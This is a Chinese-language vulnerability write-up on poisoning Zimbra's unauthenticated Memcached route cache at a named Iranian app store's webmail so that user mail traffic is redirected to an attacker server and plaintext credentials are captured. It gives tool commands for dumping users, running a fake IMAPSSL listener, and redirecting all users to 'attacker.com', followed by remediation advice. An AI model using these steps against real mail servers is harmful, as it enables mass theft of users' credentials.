挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据
字数 1435 2025-08-15 21:31:25
Zimbra邮件服务SSRF漏洞利用与中间人攻击教学文档
1. 漏洞背景
1.1 目标系统介绍
- Cafebazaar(巴扎应用商店): 伊朗主要安卓应用商店,4000万用户
- Zimbra协作套件(ZCS): 专业电子邮件软件,提供WebMail、日历、通信录等功能
1.2 漏洞发现环境
- 目标域名: mailx.hezardastan.net (Cafebazaar的Webmail服务)
- 关键开放端口:
- 11211 (Memcached服务)
- 7993 (IMAPSSL)
- 7995 (POP3SSL)
- 8443 (HTTPSSL/HTTPS)
2. 前期信息收集
2.1 端口扫描发现
通过枚举和端口扫描发现:
- Memcached服务(11211端口)无需认证
- Zimbra将邮箱地址存储在Memcached缓存中
- 可对缓存数据进行增删改查操作
2.2 Memcached信息提取
使用Metasploit的memcached_extractor模块提取缓存信息:
- 通信协议机制
- 用户名
- 后端IP地址
3. Zimbra运行机制分析
3.1 认证流程
- 用户提供凭据进行身份验证
- 邮件服务端在缓存中存储用户名、后台服务URL路径
- 用户与Zimbra应用交互
- 服务端从缓存获取后台服务路径
- 交互伴随用户数据和相应URL服务路径
3.2 缓存数据结构
缓存中存储的用户数据格式:
route:proto=[协议类型];user=[邮箱地址] [IP:端口]
示例:
route:proto=imapssl;user=user1@cafebazaar.ir 127.0.0.1:7993
route:proto=pop3ssl;user=user2@cafebazaar.cloud 127.0.0.1:7995
route:proto=httpssl;user=user3@cafebazaar.ir 127.0.0.1:8443
支持的协议:
- IMAPSSL: 7993端口
- POP3SSL: 7995端口
- HTTPSSL(HTTPS): 8443端口
4. SSRF漏洞利用
4.1 利用思路
- 修改后端IP地址指向攻击者控制的IP
- 使用自签名SSL证书,在攻击者IP开启SSL监听
- 修改目标用户缓存数据,转发流量至攻击者IP
4.2 利用步骤
- 识别目标系统中存储的缓存路由信息
- 使用Memcached命令修改路由指向攻击者服务器
- 在攻击者服务器设置SSL监听服务
- 捕获转发过来的流量
5. 中间人攻击实现
5.1 攻击流程
- 用户登录邮箱,后端缓存用户凭据
- 攻击者修改后端IP为攻击者控制IP
- Zimbra应用流量被转发至攻击者服务器
- 攻击者通过SSL获取转发流量,提取明文凭据
- 攻击者可选择:
- 直接获取凭据
- 通过SSL连接目标服务端开放端口
- 修改缓存转发默认配置
5.2 攻击工具(HezarSploit.py)使用
5.2.1 功能模块
-
提取已登录用户邮箱地址:
python HezarSploit.py -m dumpusers -
假冒IMAPSSL服务获取用户凭据:
python HezarSploit.py -m mitm --port 4444 -
流量转发至攻击者服务器:
- 针对所有用户:
python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444 - 针对特定用户:
python HezarSploit.py -m poisoning --user user@example.com --ip attacker.com --port 4444
- 针对所有用户:
-
重置缓存转发配置:
python HezarSploit.py -m reset
5.2.2 组合攻击示例
-
在攻击者服务器开启监听:
python HezarSploit.py -m mitm --port 4444 -
在另一终端执行流量转发:
python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
6. 漏洞修复建议
-
对Memcached服务实施访问控制:
- 配置防火墙规则限制访问
- 启用SASL认证
-
修改Zimbra默认配置:
- 禁止通过Memcached修改关键路由信息
- 实施输入验证防止SSRF
-
网络隔离:
- 将Memcached服务置于内网
- 限制邮件服务端口的互联网暴露
-
监控与日志:
- 监控Memcached异常访问
- 记录路由变更操作
7. 技术总结
本漏洞利用的关键点:
- 未认证的Memcached服务暴露
- Zimbra将敏感路由信息存储在Memcached中
- 可通过修改缓存实现SSRF
- 邮件服务端口直接暴露在互联网
- 协议流量中包含明文凭据
攻击效果:
- 获取所有登录用户的明文用户名和密码
- 完全控制邮件服务流量
- 可实施进一步的网络渗透